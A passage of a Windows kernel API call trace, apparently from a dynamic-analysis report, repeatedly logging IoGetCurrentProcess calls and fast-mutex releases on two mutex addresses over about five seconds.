(FastMutex=0xffffe000001652b0) [0134.090] IoGetCurrentProcess () returned 0xffffe000011ff900 [0134.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.092] IoGetCurrentProcess () returned 0xffffe000011ff900 [0134.092] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.092] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.137] IoGetCurrentProcess () returned 0xffffe000011ff900 [0134.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.183] IoGetCurrentProcess () returned 0xffffe000011ff900 [0134.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.213] IoGetCurrentProcess () returned 0xffffe000011ff900 [0134.213] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.213] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.818] IoGetCurrentProcess () returned 0xffffe000011ff900 [0134.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0134.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.456] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.524] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.524] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.550] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.570] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.600] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.630] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.663] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.663] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.693] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.700] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.767] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.767] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.767] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.778] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.826] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.858] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.858] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.883] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.883] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.899] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.929] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.961] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.989] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.997] IoGetCurrentProcess () returned 0xffffe000011ff900 [0135.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.004] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.024] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.024] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.025] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.025] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.026] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.026] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.100] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.144] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.175] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.203] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.229] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.260] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.260] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.260] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.291] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.291] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.316] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.336] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.367] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.367] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.367] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.368] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.372] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.372] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.372] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.399] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.430] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.430] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.461] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.491] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.491] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.520] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.525] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.525] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.529] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.557] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.616] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.616] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.648] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.648] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.648] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.675] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.693] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.915] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.948] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.979] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.006] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.028] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.059] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.059] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.059] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.089] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.120] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.143] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.179] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.204] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.224] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.253] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.288] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.318] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.338] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.383] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.446] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.446] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.446] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.456] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.508] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.508] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.508] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.554] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.572] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.600] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.631] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.662] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.691] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.706] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.724] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.731] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.731] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.731] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.754] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.755] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.755] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.755] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.756] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.756] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.880] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.922] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.944] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.990] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0138.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.007] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.037] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.063] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.079] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.079] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.079] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.095] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.115] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.141] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.141] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.141] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0139.142] IoGetCurrentProcess () returned 0xffffe000011ff900 [0139.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0139.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) 